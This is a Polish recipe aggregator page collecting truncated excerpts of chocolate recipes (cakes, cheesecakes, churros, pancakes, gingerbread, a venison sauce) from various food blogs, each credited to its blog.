jest  to mój ulubiony przepis na brownie- sprawdzony i zawsze się udaje. Ciasto można upiec też bez skórki pomarańczowej, będzie wówczas wersją klasyczną. SKŁADNIKI: 400 g gorzkiej czekolady ( najlepiej 70-80 %)  250 g masła 200 g cukru 4 jaja 100 g mąki 80 g kandyzowanej skórki pomarańczowej Piekarnik rozgrzać do 200 st. C. Czekoladę rozpuścić w kąpieli wodnej

Z Marcepanem
Tarta czekoladowa z bananami 153

ciasto rozwałkować, przełożyć do okrągłej formy, lekko wywinąć brzegi. Wstawić do piekarnika i piec ok 15 min. Wystudzić. krem: 1 puszka gotowego mleka karmelowego  150 g gorzkiej czekolady oraz  250 g śmietany kremówki  100 g serka mascarpone 2 łyżki cukru pudru 2 banany kakao czekoladę rozpuścić, wymieszać z mlekiem , wyłożyć na upieczony spód i schłodzić w lodówce

Z Marcepanem
jeleń w winnym sosie 180

trzy szalotki ząbek czosnku kawałek wędzonego boczku tymianek (najlepiej świeże gałązki dwie lub trzy) 350 ml bulionu z kurczaka 3/4 butelki czerwonego wina garść pieprzu ziarnistego 2 kostki gorzkiej czekolady (po starciu solidna łyżka stołowa) łyżka octu winnego Do mięsa: kawałek jelenia (udziec, albo jeszcze lepiej polędwica) sól pieprz solidna łyżka masła oliwa z oliwek Najpierw sos. Boczek pokroić(...)tymianek oraz zgnieciony pieprz. Podsmażyć przez chwilę, aż szalotki zmiękną i lekko się zarumienią. Podlać 3/4 butelki wina, zredukować. Dolać bulion, zredukować. Przecedzić przez sito, dodać ocet i czekoladę, wymieszać, trzymać w cieple. Piekarnik nagrzać do 180°C z termoobiegiem. Mięso (wyjęte przynajmniej godzinę wcześniej z lodówki) obsypać solidnie grubo mielonym pieprzem i grubą solą. Na patelni rozgrzać oliwę, włożyć

stajnia gołębie od kuchni
CHAŁWA LNIANA Z FIGAMI HISZPAŃSKIMI 112

dodatek do jogurtów, deserów oraz ciast nie wymagających pieczenia. Składniki: 1 szklanka mąki lnianej Radix-Bis 3 łyżki oleju kokosowego nierafinowanego Radix-Bis 3 łyżki miodu 3 kostki gorzkiej czekolady 2 łyżki wody ok. 9-10 szt. fig hiszpańskich Radix-Bis Wykonanie: W rondelku podgrzewamy olej kokosowy z miodem i wodą. Gdy składniki połączą się, dodajemy gorzką czekoladę i rozpuszczamy

Kuchnia MagdaLeny
Churros 176

tłuściutki wypiek przygotowywany z ciasta parzonego smażonego na głębokim oleju to prawdziwa rozpusta. Chrupiące z zewnątrz i mięciutkie w środku, stają się jeszcze lepsze po zanurzeniu ich w gorącej czekoladzie .  Najlepsze churros można znaleźć w słynnej madryckiej churrería (kawiarni sprzedającej churros) Chocolatería San Ginés , o której możecie przeczytać tutaj . Ale jeśli do stolicy Hiszpanii Wam daleko i chcecie się(...)się robi w Hiszpanii), którego kroimy potem na mniejsze kawałki. Churros smaż przez około 2 minuty z każdej strony i odsącz na papierowym ręczniku. Podawaj z gorącą czekoladą (np. z tego przepisu ) lub dulche de leche (kajmakiem). Churros możesz obsypać również drobnym cukrem wymieszanym z cynamonem albo zanurzyć w czekoladowej polewie

Food Square
Naleśniki podwójnie czekoladowe 145

palmowego jak to jest u znanego producenta kremów czekoladowych :) Za to spotkamy się z naturalną wanilią a nie waniliną. Polecam 😀 Składniki: 1 szklanka mąki pszennej  80 g gorzkiej czekolady  1 łyżka kakao  500 ml mleka  3 jajka  2 łyżki cukru pudru  2 łyżki masła, rozpuszczonego i przestudzonego szczypta soli  ulubione dodatki np. krem(...)czekoladowy u mnie od Terravita Przygotowanie: Mleko podgrzać, dodać czekoladę, wymieszać do rozpuszczenia, ostudzić. Dodać pozostałe składniki i zmiksować. Ciasto będzie dobrze się rozlewać na patelni po wstawieniu do lodówki na ok. 30-60 minut. Patelnie rozgrzać, nalać olej i zebrać nadmiar papierowym ręcznikiem. Smażyć naleśniki z obu stron pilnując aby zbyt mocno się nie przypiekły (miękkie są smaczniejsze). Podawać

Słodka Strefa
BIAŁY LION – ciasto z karmelem i orzechami + O TYM JAK SZOPI.PL SPRAWIŁO, ŻE POCZUŁAM SIĘ JAK GWIAZDA ;) 257

przy zakupach powyżej 200 zł SKŁADNIKI: ( 24×24 ) BISZKOPT: * jajko – 5 szt * cukier – 3/4 szkl * mąka pszenna – 1 szkl * mąka ziemniaczana -1 lyżka * biała czekolada ( starta ) – 50 g MASA BUDYNIOWA: * żółtko – 2 szt * mleko – 2 szkl * mąka pszenna – 3 łyżki * mąka ziemniaczana – 2 łyżki * cukier – 3 lyżki * sok z cytryny(...)ubijamy na sztywno, stopniowo dodajemy cukier, a kiedy piana będzie sztywna i lśniąca wrzucamy po jednym żółtku. Dodajemy przesiane mąki, mieszamy delikatnie, ale dokładnie. Na sam koniec wrzucamy startą czekoladę i wylewamy na blachę wyłożoną papierem. Pieczemy ok. 30-40 minut/160C. Studzimy. MASA: Żółtka, cukier i obie mąki miksujemy ze szklanką mleka, resztę mleka gotujemy. Do gorącego wlewamy mieszankę

Ostra na Słodko
Ciasto czekoladowe z kaszy jaglanej+dodatki=idealne danie na wynos 115

chodź raz w tygodniu.😁 Domowe szybkie ciasto z kaszy i kakao jest super sycącym posiłkiem, do tego witaminki w postaci owoców, białko w twarogu, a na koniec gorzka czekolada dla łasuchów.😍  I pewnie teraz myślicie..jak to takie rzeczy można jeść na diecie? Ciasto?  Podwójna porcja? Oczywiście, że tak! A ci, którzy nie są na diecie, mają okazje(...)jaja -łyżka kakao -dosłodzić wedle uznania dodatki na 1 porcje do pudełka: +200 g owoców (u mnie truskawka, a w drugim borówki) +100 g twarogu chudego +2 kostki gorzkiej czekolady Przygotowanie: 1. Kaszę jaglaną gotujemy i studzimy. Jak ugotować, odsyłam tutaj . 2. Ostudzoną kaszę wrzucamy do blendera, dodajemy jaja, kakao, cukier/słodzik i miksujemy do powstania jednolitej konsystencji

Zdrowie i pysznie na talerzu
Czekoladowy budyń jaglany 149

dobry blender i odrobinę cierpliwości. Smakuje wybornie, więc warto! Polecam!   Składniki: 1szklanka kaszy jaglanej 2 szklanki wrzącej wody szczypta soli 2/3 szklanki mleka kokosowego 80 g gorzkiej czekolady, roztopionej* 1 łyżka kakao 3- 4 łyżki cukru trzcinowego lub syropu z agawy lub miodu (lub do smaku) mrożone maliny Przygotowanie: Kaszę jaglaną płuczemy pod ciepłą wodą, kilkakrotnie, odcedzamy(...)woda odparuje (pod koniec gotowania można dolać 2 łyżki wody w razie potrzeby). Jeszcze gorącą kaszę miksujemy w malakserze lub blenderem do otrzymania bardzo gładkiej masy. Dodajemy mleko, roztopioną czekoladę, kakao, słodzimy do smaku. Miksujemy do otrzymania gładkiej masy o konsystencji budyniu. Przelewamy do małych naczyń, dekorujemy mrożonymi malinami

Smakowity Blog Kulinarny
Ciasto balowe 200

żółtka 200 g masła Na masę śmietanową: 500 ml śmietanki 30% 2 śmietan-fixy 3 łyżki cukru pudru Dodatkowo: 1 puszka masy krówkowej 2 duże paczki solonych krakersow Mleczna czekolada Przygotowanie: Biszkopt: Jajka ubić z cukrami na jasną, puszystą masę. Wsypać przesianą mąkę z proszkiem do pieczenia, i delikatnie wmieszać w masę. Przelać do formy wyłożonej papierem do pieczenia(...)odpowiedniej konsystencji. Przełożenie: Na biszkopt wyłożyć krem budyniowy i przykryć warstwą solonych krakersów. Na krakersy rozsmarować masę kajmakową i wyłożyć kolejna warstwę krakersów. Wyłożyć masę śmietanową i posypać startą czekoladą. Schłodzić w lodówce. Smacznego

My sweet a life
Chlebek czekoladowo-jabłkowy 159

Rozczyn: 10 g świeżych drożdży 3 łyżki ciepłego mleka 1 łyżeczka cukru 20 g mąki pszennej Ciasto: cały powyższy rozczyn 2 mniejsze jabłka 150 ml mleka 50 g czekolady deserowej 2 jajka w temperaturze pokojowej szczypta soli 100 g cukru 250 g mąki pszennej 1 kopiasta łyżka kakao 1 łyżeczka cynamonu 1 op. budyniu waniliowego (40 g) 1 płaska łyżeczka(...)rozczyn będzie miał gąbczastą strukturę pełną pęcherzyków powietrza. Ciasto: W międzyczasie, gdy drożdże wyrastają, obrać jabłka i zetrzeć je na tarce na grubych oczkach. Mleko podgrzać, rozpuścić w nim czekoladę deserową, ostudzić do temperatury pokojowej. Mąkę, kakao, proszek do pieczenia, cynamon oraz proszek budyniowy przesiać do miski i wymieszać. Jajka ubić z cukrem i solą do jasności i puszystości oraz

Nastoletnie Wypiekanie
Czekoladowe ciasto gryczane 157

wilgotne, mocno czekoladowe i do tego całkiem zdrowe. Jeśli jeszcze nie wykorzystywaliście kaszy w swoich wypiekach zróbcie je koniecznie.  Składniki: 200 g (szklanka) suchej kaszy gryczanej 100 g czekolady 4 jaja 100 g cukru 150 g mąki pszennej 150 g masła Kaszę zalewamy 2 szklankami wody i gotujemy do momentu aż wchłonie ją całą, a następnie studzimy i blendujemy(...)gładką masę. Masło i czekoladę rozpuszczamy w rondelku lub mikrofali i dodajemy do ostudzonej kaszy. Jaja ubijamy z cukrem na puch, a następnie mieszamy z kaszą. Na koniec wsypujemy mąkę i jeszcze raz wszystko mieszamy. Przekładamy do keksówki wyłożonej papierem do pieczenia i pieczemy ok 40 minut w 180 st. C. Smacznego

Cynamonowe szczęście
Metrowiec (w jednej blaszce) 147

kakao ciemnego masa: -3 szklanki mleka -2 budynie śmietankowe lub waniliowe (bez cukru) -pół kostki masła miękkiego -pół opakowania galaretki cytrynowej (bez cukru) -dosłodzić wedle uznania polewa: -opakowanie gorzkiej czekolady -1 łyżeczka masła -1 łyżka mleka (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: ciasto: 1. Jajka ubijamy z cukrem/słodzikiem, dodajemy olej i wodę. Mąkę przesiewamy z proszkiem do pieczenia i dodajemy(...)gotującego się mleka wlewamy rozrobiony budyń i mieszamy do zgęstnienia. 4. Do gorącego budyniu dodajemy pół kostki masła i pół opakowania galaretki. Wszystko mieszamy do rozpuszczenia. Studzimy. polewa: 5. Czekoladę rozpuszczamy w kąpieli wodnej lub w garnuszku, dodajemy masło i mleko, aby zgęstniało i studzimy. 6. Ostudzone ciasto kroimy w plastry (grubości ok 2 cm, aby nie były za cienkie

Zdrowie i pysznie na talerzu
Sernik krówka 138

będzie się równomiernie piekł) 160g cukru  4 duże jajka  1 czubata łyżka mąki pszennej  250g gotowej masy krówkowej  Polewa: 150g masy krówkowej  100g białej czekolady  Dodatkowo: orzechy włoskie do ozdoby  Przygotowanie: Spód: Wszystkie składniki na spód przełożyć do miski i przez chwilę zagniatać rękoma. Następnie mieszać mikserem, aż powstanie kruszonka.  Tortownicę(...)czasie wyłączyć piekarnik i zostawić sernik przy uchylonych dzrzwiczkach na 30 minut. Po wyjęciu z piekarnika nożem oddzielić ciasto od brzegów tortownicy i sernik odstawić do całkowitego ostygnięcia. Polewa: Czekoladę połamać i razem z masą krówkową, która została w puszce, roztopić na parze. Polewą udekorować wierzch sernika i poukładać orzechy włoskie. Smacznego 😊 Źródło:  klik

Słodka Strefa
Placek z jabłkami 118

kostki masła 1-2 łyżek wody 2-3 łyżek kakao Wszystko należy zagotować do czadu rozpuszczenia się masła i połączenia z kakao. Dodajemy do masy kakaowej pokruszoną tabliczkę czekolady gorzkiej.   Układamy kolejno: kruche ciasto ciepłe jabłka kruche ciasto ciepłe jabłka (odstawiamy wszystko do wystudzenia) Gdy jabłka są już chłodne wykładamy bitą śmietanę, na chwilę wstawiamy placek do lodówki żeby(...)bita śmietana stężała. Gdy śmietana trochę się zetnie polewamy wszystko czekolada. Artykuł Placek z jabłkami pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
sernik czekoladowy na Nowy Rok 178

kakao 2 łyżki masła masa serowa 1 kg sera na serniki 250 g mascarpone 100 g śmietany kremówki 4 jaja 2 łyżki masła 2 łyżki cukru pudru 100 g czekolady 3 łyżki kakao Przygotowanie: herbatniki kruszymy, mieszamy z roztopionym masłem i kakao okrągłą formę do pieczenia (średnica 20 cm na duże - ja robiłam w kilku mniejszych) wykładamy papierem do pieczenia(...)wykładamy herbatniki i dokładnie wyrównujemy do sera dodajemy mascarpone, śmietankę i dokładnie mieszamy mikserem dodajemy pojedynczo jaja miksując cały czas czekoladę roztapiamy w kąpieli wodnej lub kuchence mikrofalowej i mieszamy z masą serową dodajemy roztopione masło, kakao i cukier puder i dokładnie mieszamy ciasto przelewamy na herbatniki  i wkładamy do piekarnika rozgrzanego do 180 st - pieczemy przez

Gotowanie z pasją
Fantazja piernikowa 156

słoik czarnej porzeczki w syropie ( o poj.300 ml) pianka: 500 ml śmietanki 36% 2 galaretki cytrynowe 500 ml gorącej wody  6 połówek brzoskwiń z puszki ponadto: 4 kostki czekolady deserowej   Białka ubić ze szczyptą soli na sztywną pianę,stopniowo dosypywać cukier i dodawać po jednym żółtku. Mąkę połączyć z przyprawą,proszkiem i kakao,przesiać do ubitych jaj,dodać(...)połączyć z tężejącą galaretką i pokrojoną w kostkę brzoskwinią. Masę wylać na galaretkę porzeczkową. Ciasto ponownie wstawić do lodówki,przynajmniej na kilka godzin.  Przed podaniem zetrzeć na wierzch czekoladę

Kolorowa kuchnia Elki
Ciasto czekoladowe z bezą 266

blaszki o wymiarach dna 21×32. Ciasto czekoladowe z bezą Biszkopt czekoladowy 5 jajek 3/4 szkl drobnego cukru 2/3 szkl mąki tortowej 1/3 szkl kakao 50 g gorzkiej czekolady Beza czekoladowa 4 białka 200 g drobnego cukru 1 kopiasta łyżka kakao 1 płaska łyżka mąki ziemniaczanej 1 łyżeczka octu Krem 500 ml śmietanki 30/% 500 g serka mascarpone(...)piana będzie sztywna i błyszcząca. Dodawać kolejno żółtka i zmiksować tylko do połączenia się skłądników. W misce wymieszać makę z kakao i przesiać do masy jajecznej. Dodać startą czekoladę i delikatnie wymieszać szpatułką, tlko do połaczenia się składników. Zbyt długie mieszanie spowoduje, że masa zrobi się płynna i zbita po upieczeniu. Ciasto przelać do blaszki wysmarowanej masłem i oprószonej bułką

Pieguskowa Kuchnia
Muffinki czekoladowe – bez miksera 167

Proste muffinki czekoladowe na prawdziwej czekoladzie, oblane mleczną czekoladą i posypane chrupiącymi kawałkami surowego kakao. Pyszne, wilgotne, rozpływające się w ustach. Przepis na muffiny bez miksera . The post Muffinki czekoladowe – bez miksera appeared first on Moja Delicja

Moja Delicja
Ciasto czekoladowe z cukinią, jagodami i czekoladą 187

Nowy Rok podaję przepis na pyszne ciasto z cukinii z jagodami i czekoladą. Użyłam tutaj mrożonych jagód które wcześniej rozmroziłam w lodówce. Bardzo wilgotne i mega pyszne ciasto, idealne do kawy czy herbaty. Jest pyszne o każdej porze dnia i nocy. Smakuje cukrzykom, kobietom w stanie błogosławionym i na diecie wątrobowej, jest idealne dla wszystkich, polecam. Ciasto czekoladowe z cukinią(...)jagodami i czekoladą. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Karmelowiec – ciasto bez pieczenia 338

litra śmietany kremówki 2 śmietan-fiksy 2 łyżki cukru pudru 2 budynie czekoladowe (opakowanie na 0,75l) o,75 litra mleka 1 łyżeczka masła 1 puszka masy kajmakowej 1 czekolada gorzka lub mleczna   *** Blachę wykładamy papierem do pieczenia i na dnie układamy herbatniki *** *** Budynie rozpuszczamy w szklance mleka. Resztę mleka zagotowujemy z łyżeczką masła (jeżeli budynie nie zawierają cukru(...)ogniu przez około 30 minut *** *** Na kajmak wykładamy herbatniki i odstawiamy całość do wystudzenia *** *** Śmietanę kremówkę ubijamy wraz z cukrem pudrem oraz śmietan-fiksami i wykładamy na wystudzone ciasto *** *** Czekoladę ścieramy na tarce i wykładamy na wierzch ciasta *** *** Ciasto wkładamy na kilka godzin do lodówki, a najlepiej na całą noc *** *** SMACZNEGO *** Polecam także: 10 pomysłów na pyszne i efektownie wyglądające

Blog z Apetytem
Ciasto orzechowe z karmelizowanymi śliwkami i śmietaną 174

pestek (u mnie mrożone) 120 g cukru trzcinowego Bita śmietana i dekoracja: 500 g śmietany 36% 1 opakowanie cukru waniliowego 1 łyżka cukru 2 śmietan-fixy 4 kostki mlecznej czekolady WYKONANIE Biszkopt: Wszystkie składniki powinny być w temperaturze pokojowej. Piekarnik rozgrzać do temperatury 180 ° C. Dno formy o wymiarach 25 x 30 cm wyłożyć papierem do pieczenia. Białka ubić(...)stopniowo dodając cukier i cukier waniliowy. Do ubitej śmietany wsypać śmietan-fixy i ponownie krótko zmiksować. Śmietanę wyłożyć równomiernie na ostudzonej masie śliwkowej. Na wierzch ciasta zetrzeć na tarce czekoladę.  Zapraszam Was również do obejrzenia filmu "Jak sprytnie pokroić ciasto" ;-) To metoda, która bez wątpienia jest szybka i prosta. #beko    #ciastojakzobrazka

Passions hobbies life
Keks - zdrowsza wersja bez cukru 153

jajek skórka otarta z cytryny 2 łyżki ciemnego rumu esencja waniliowa 500 g bakalii (żurawina, skórka pomarańczowa, figi, rozdynki, morele, daktyle) dodatkowo: 80 ml śmietany kremówki 100 g gorzkiej czekolady Wykonanie: miękkie masło utrzeć ze zmielonym ksylitolem na biały puch. Dodawać kolejno po jednym jajku cały czas ucierając. Zetrzeć skórkę z cytryny i dodać esencję waniliową mąkę wymieszać z proszkiem(...)wierzch szpatułką. Piekłam w jednej dużej foremce 31x13x8 cm piec w 180`C 1 godzinę i 10 minut w małym garnuszku doprowadzić do wrzenia śmietankę, dodać połamaną na kawałki czekoladę i pozostawić na kilka minut, następnie dokładnie wymieszać. Posmarować polewą czekoladową wierzch keksu

Gotuj zdrowo!Guten Appetit!
MIĘKKIE PIERNICZKI Z NUTĄ POMARAŃCZY 167

proszku 1 jajko 60ml płynnego miodu 1 łyżka soku pomarańczowego 1 łyżka startej skórki pomarańczowej dodatkowo  4-5 łyżek brązowego cukru do obtoczenia pierników i około 60g ciemnej czekolady Wykonanie: masło ucieramy z cukrem   do białości ,na puszystą masę, odstawiamy do drugiej miski dodajemy wszystkie suche składniki czyli mąkę, sodę, sól, kakao, cynamon, goździki oraz imbir, mieszamy(...)cukrze, następnie układamy je na blaszce wyłożonej papierem do pieczenia pieczemy je 10 minut w piekarniku nagrzanym do 180ºC ( uwaga aby ich nie przesuszyć) gotowe studzimy i zimne polewamy czekoladą. Źródło: http://www.addiopomidory.pl/najlepsze-miekkie-pierniczki/

Słodkie zapomnienie
Kuleczki migdałowe 145

koniec. Dziś mam dla Was migdałowe kuleczki czekoladowe, które są bardzo chrupiące i możecie je zaserwować nie tylko na Święta. Porcja ok 50 kuleczek Składniki: 400 g czekolady deserowej  100 g rodzynek 50 ml rumu 150 g prażonych migdałów pokrojonych w słupki 30 g kandyzowanej skórki cytrynowej do otoczenia: drobno posiekane migdały lub słupki migdałowe Przygotowanie: rodzynki należy(...)sparzyć, przełożyć do słoika i zalać rumem na noc. W kąpieli wodnej rozpuści czekoladę, do której dodajemy rodzynki, migdały i skórkę cytrynową. wszystko mieszamy i łyżką formujemy kolki, które otaczamy migdałami. Gotowe kulki wstawiamy do lodówki, żeby dobrze zastygły.  Smacznego

Niezły Młynek
Rolada makowa z kremem cytrynowym 235

budyń waniliowy -1 łyżka mąki ziemniaczanej -250 g serka mascarpone * (w wersji bez laktozy serek mascarpone można zastąpić Kostką Kasia 100 % roślinną bez laktozy - 150g) -50 g białej czekolady (rozpuszczonej) Dodatkowo: -cukier puder do posypania Przygotowanie --> Biszkopt makowy: --> Kostkę do pieczenia Kasia rozpuszczamy i studzimy. Obie mąki przesiewamy razem z proszkiem do pieczenia, mieszamy z makiem i odkładamy. Białka oddzielamy(...)szklanki wody. Mieszamy i wlewamy do gotującej się wody z sokiem z cytryny. Gotujemy do zgęstnienia. Studzimy. --> Wystudzony krem cytrynowy miksujemy mikserem, następnie dodajemy rozpuszczoną białą czekoladę i serek mascarpone. Miksujemy do połączenia. --> (W wersji bez laktozy miękką kostkę Kasia 100 % roślinną bez laktozy ucieramy mikserem, a następnie dodajemy partiami krem cytrynowy). --> Wykonanie: --> Ostudzone ciasto rozwijamy, krem cytrynowy rozsmarowujemy

Marta Gotuje
Ciasto czekoladowe bezglutenowe 141

Dzisiaj na blogu propozycja na pyszne ciasto czekoladowe ale tym razem w wersji bezglutenowej Zapach pomarańczy, czekolada mmmm pycha ! Ciasto jest bardzo wilgotne a połączenie czekolady z pomarańczą i migdałami jest po prostu doskonałe! Spróbuj Składniki : – 2 duże pomarańcze – 200 g zmielonych migdałów – 6 jajek – 3/4 szklanki cukru – 50 g kakao – 1 łyżeczka proszku

I LOVE LIFE
PIERNIKOWA ROLADA z powidłami i masą grysikową (bez miodu, bez jajek, wegańska) 209

łyżka kakao 2 łyżki powidła śliwkowego Składniki – masa: 3 szklanki mleka 8 łyżek kaszy manny 5 łyżek cukru 3 łyżki mąki ziemniaczanej Dodatkowo: 200 g powideł śliwkowych czekolada lub polewa Sposób przygotowania: Wszystkie składniki na ciasto wymieszaj, najlepiej za pomocą miksera. Piecz około 20 minut w 180 stopniach Celsjusza na dużej formie do pieczenia (najlepiej blaszce od piekarnika). Upieczone(...)cały czas mieszając. Ostygnięte ciasto rozwiń i całość posmaruj powidłem. Na powidło wyłóż lekko ostudzony krem, a następnie równomiernie rozsmaruj. Teraz ponownie zawiń roladę. Wierzch polej polewą lub roztopioną czekoladą. Via Gusto życzy smacznego Jeśli chcesz wesprzeć moją pracę zapraszam Cię do subskrypcji kanału Via Gusto oraz do odwiedzenia blogowego Facebooka (wystarczy kliknąć w wybrane logo

Via Gusto
Ambasador z galaretką 126

budynie śmietankowe Emix 3 łyżki mąki pszennej 3 żółtka Masa biała: 1 galaretka poziomkowa Emix 1 galaretka cytrynowa Emix Masa ciemna: 3 łyżki kakao Emix 1 tabliczka gorzkiej czekolady 50 g rodzynek Emix Poncz: 2 łyżki spirytusu 2 łyżki soku z cytryny woda Do dekoracji: 1 polewa biała Emix gwiazdki cukrowe cukier puder Dzień wcześniej warto przygotować galaretki, które muszą(...)budyń. Masło w temperaturze pokojowej miksujemy na puszystą masę. Dodajemy po łyżce budyniu i ciągle ubijamy. Do połowy masy dodajmy pokrojone w kosteczkę galaretki. Do drugiej części dodajemy startą czekoladę, kakao i rodzynki. Składanie: Blat ciasta nasączamy ponczem i smarujemy białą masą z galaretkami. Nakładamy na to drugą warstwę ciasta. Tę również nasączamy i smarujemy ciemną kakaową masą. Nakładamy ostatnią

MamaOskarka
ODCHUDZONY SERNIK STRACIATELLA Z JEŻYNAMI 132

łyżki ciemnego gorzkiego kakao Masa serowa: 500g chudego twarogu ½ szklanki ksylitolu 1 kopiasta łyżka mąki ziemniaczanej 2 kopiaste łyżeczki oleju kokosowego 2 jajka 1 łyżeczka esencji waniliowej 100g gorzkiej czekolady 70% kakao Dodatkowo: 1 szklanka mrożonych jeżyn lub malin Wykonanie: Spód: orzechy oraz kokos blędujemy ,aż uzyskamy w miarę gładką konsystencję , następnie dodajemy ksylitol oraz kakao i całość mieszamy masę(...)sera dodajemy pozostałe składniki czyli ksylitol, mąkę ziemniaczaną, olej kokosowy, roztrzepane jajka oraz esencję waniliową, całość dokładnie mieszamy aż do połączenia się wszystkich składników, na koniec dodajemy posiekaną gorzką czekoladę i jeszcze raz dokładnie wszystko mieszamy masę serową wykładamy na podpieczony   wcześniej spód orzechowo-kokosowy, a na wierzchu układamy jeżyny lub maliny, które delikatnie wciskamy w masę sernik pieczemy

Słodkie zapomnienie
PIERNIK LEBKUCHEN 147

Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} Składniki ( forma24x24cm) 3 jajka 75g płynnego miodu 75g cukru 250g mielonych migdałów 100g mąki pszennej 50g gorzkiej czekolady najlepiej 70% startej na tarce 25-40g kandyzowanej skórki pomarańczowej skórka starta z ½ pomarańczy i ½ cytryny ¼ łyżeczki cynamonu ¼ łyżeczki kardamonu ¼ łyżeczki goździków ¼ łyżeczki gałki muszkatołowej Lukier: 1   czubata(...)cukru pudru 1 białko Wszystkie składniki wymieszać ze sobą na gładki lukier Wykonanie: jajka ubijamy z cukrem i miodem, następnie dodajemy pozostałe składniki czyli mielone migdały, mąkę, startą gorzką czekoladę, kandyzowaną skórkę pomarańczową, startą skórkę z pomarańczy i cytryny oraz przyprawy cynamon, kardamon, goździki i gałkę muszkatołową, wszystkie składniki dokładnie ze sobą mieszamy masę przekładamy do formy wyłożonej papierem

Słodkie zapomnienie
KARTOFELKI 132

Składniki ( na +/- 16szt): 600g herbatników, ciasta itp. 100g miękkiego masła 2 łyżki nutelli 3-4 łyżki   alkoholu np. wódki garść posiekanych orzechów około ½ szklanki wiśni w alkoholu roztopiona czekolada do polania kartofelków Wykonanie: ciasto kruszymy ( ja użyłam malaksera), następnie dodajemy pozostałe składniki czyli miękkie masło, nuellę, alkohol   oraz wiśnie w alkoholu lub kandyzowane i garść posiekanych orzechów , całość(...)więcej nutelli , natomiast jeżeli byłaby zbyt miękka trzeba dodać garść pokruszonego ciasta czy też herbatników) następnie formujemy z masy kulki ( moje były wielkości orzecha włoskiego) które polewamy  roztopioną czekoladą ale nie jest to konieczne. Przechowujemy w lodówce

Słodkie zapomnienie
CHURROS 121

fareast-language:EN-US;} Składniki: 1 szklanka wody 125g masła 1 szklanka mąki pszennej szczypta soli 3 średnie jajka olej do smażenia Dodatkowo: cukier puder do oprószenia 150g czekolady 100 ml śmietanki kremówki Do gorącej śmietanki dodajemy połamaną czekoladę, mieszamy aż do jej rozpuszczenia i mamy gotowy sos czekoladowy Wykonanie: wodę zagotowujemy razem z masłem i szczyptą soli, kiedy masło

Słodkie zapomnienie
PIECZONE PĄCZKI CZEKOLADOWE 116

dałam trzcinowy) 2 ¾ szklanki mąki pszennej ( dała pełnoziarnistą) 4 łyżki ciemnego kakao 2 żółtka 1 łyżeczka ekstraktu waniliowego skórka starka z 1 pomarańczy 60g miękkiego masła Dodatkowo: 100g roztopionej czekolady np. migdały do posypanie lub kolorowa posypka Wykonanie: drożdże mieszamy z cukrem i letnim mlekiem, odstawiamy na10-15 minut do wyrośnięcia do miski dodajemy przesianą mąkę, kakao, żółtka ,ekstrakt waniliowy(...)pieczenia (zachowując odstępy), przykrywamy i zostawiamy je na 15-20 minut do ponownego wyrośnięcia pączki pieczemy 10-15 minut w piekarniku nagrzanym do 170°C gotowe studzimy ,polewamy roztopioną czekoladą   i posypujemy np. migdałami. Źródło: http://wypiekizpasja.blox.pl/2015/01/Pieczone-paczki-czekoladowe-z-dziurka.html

Słodkie zapomnienie
CIASTECZKA CZEKOLADOWE SERCA 134

pszennej ¾ szklanki cukru pudru 1 opakowanie cukru waniliowego ( dałam domowy) 2 łyżki ciemnego kakao 1 ½ łyżeczki proszku do pieczenia 130g masła w temperaturze pokojowej 1 średnie jajko Dodatkowo: 100g czekolady mlecznej/gorzkiej kolorowa posypka Wykonanie: do miski wkładamy wszystkie składniki czyli mąkę, cukier puder, cukier waniliowy, kakao, proszek do pieczenia, masło oraz jajko i zagniatamy na gładkie ciasto   ( ja wszystko(...)około 3mm i wykrawamy serduszka przekładamy je na blaszkę wyłożoną papierem do pieczenia i pieczemy 10 minut w piekarniku nagrzanym do 180°C gotowe studzimy i dekorujemy roztopioną czekoladą i ozdobną posypką lub posypujemy np. cukrem pudrem.   Źródło: http://ciasteczkowoitortowo.blogspot.com/2013/02/kruche-ciasteczka-serduszka-waniliowo.html

Słodkie zapomnienie
CZEKOLADOWE CIASTO WALENTYNKOWE 226

waniliowego 5 średnich jajek 1 ½ szklanki mąki pszennej 1 ½ łyżeczki proszku do pieczenia 3 łyżki śmietany 18% czerwony barwnik użyłam barwnika w proszku Składniki na czekoladowe ciasto: 200g gorzkiej czekolady 180g miękkiego masła 250g mąki pszennej 2 ½ łyżeczki proszku do pieczenia ¾ szklanki drobnego cukru 1 łyżeczka ekstrakty waniliowego 3 duże jajka ( osobno żółtka i białka) 150ml mleka lub śmietanki kremówki(...)nagrzanym do 165°C z   termoobiegiem gotowe ciasto studzimy i kroimy na plastry o grubości 1-1 ½ cm. W każdym plastrze wycinamy foremką serduszka. Ciasto czekoladowe ( keksówka 22x9cm): czekoladę razem z masłem rozpuszczamy w kąpieli wodnej, odstawiamy do lekkiego przestudzeni do miski przesiewamy mąkę, dodajemy proszek do pieczenia oraz cukier, mieszamy, następnie dodajemy jajka , mleko oraz ekstrakt waniliowy, miksujemy

Słodkie zapomnienie
BABECZKI BROWNIES Z MALINAMI 96

minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;}   Składniki (10-12 szt.): 100g masła 140g cukru 120g gorzkiej czekolady 70% 80g mąki pszennej 1 łyżeczka proszku do pieczenia 2 łyżki ciemnego kakao 2 jajka 1 łyżeczka ekstraktu waniliowego lub cukru waniliowego 1 szklanka malin Wykonanie: do rondla najlepiej(...)grubym dnem wkładamy   masło, cukier oraz połamaną czekoladę, całość rozpuszczamy , co jakiś czas mieszamy aby masa się nie przypaliła, gotową odstawiamy do przestudzenia do przestudzonej masy maślano czekoladowej dodajemy pozostałe składniki czyli , mąkę wymieszaną z proszkiem do pieczenia, kakao, jajka oraz ekstrakt waniliowy, całość miksujemy do połączenia składników, na koniec dodajemy maliny, delikatnie mieszamy ciasto przekładamy do foremek wyłożonych

Słodkie zapomnienie
CIASTECZKA CZEKOLADOWO-PIERNIKOWE 129

